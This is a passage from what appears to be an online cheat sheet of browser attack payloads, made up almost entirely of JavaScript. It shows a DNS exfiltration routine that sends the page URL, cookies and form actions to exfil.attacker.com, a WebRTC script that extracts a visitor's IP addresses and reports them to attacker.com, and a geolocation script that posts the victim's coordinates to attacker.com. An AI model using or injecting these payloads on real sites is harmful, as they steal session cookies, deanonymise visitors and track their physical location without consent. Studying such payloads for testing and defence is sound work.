function dnsExfiltrate(data) {
// Convert data to hex and split into chunks
var hex = btoa(data).replace(/[^a-zA-Z0-9]/g, '');
var chunks = hex.match(/.{1,60}/g) || [];
chunks.forEach(function(chunk, index) {
var subdomain = chunk + '.' + index + '.exfil.attacker.com';
var img = new Image();
img.src = 'http://' + subdomain + '/pixel.gif';
});
}
// Exfiltrate via DNS requests
dnsExfiltrate(JSON.stringify({
url: location.href,
cookies: document.cookie,
forms: Array.from(document.forms).map(f => f.action)
}));
</script>
Browser Exploitation
WebRTC IP Extraction:
<script>
function extractIPs() {
var ips = [];
var rtc = new RTCPeerConnection({iceServers:[]});
rtc.createDataChannel('');
rtc.createOffer().then(offer => rtc.setLocalDescription(offer));
rtc.onicecandidate = function(ice) {
if (ice.candidate) {
var ip = /([0-9]{1,3}(\.[0-9]{1,3}){3})/.exec(ice.candidate.candidate);
if (ip) {
ips.push(ip[1]);
// Send IP to attacker
new Image().src = 'http://attacker.com/ip.php?ip=' + ip[1];
}
}
};
}
extractIPs();
</script>
Geolocation Access:
<script>
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function(position) {
var location = {
latitude: position.coords.latitude,
longitude: position.coords.longitude,
accuracy: position.coords.accuracy,
timestamp: position.timestamp
};
fetch('http://attacker.com/location.php', {
method: 'POST',
body: JSON.stringify(location),
headers: {'Content-Type': 'application/json'}
});
});
}
</script>
Last updated
Was this helpful?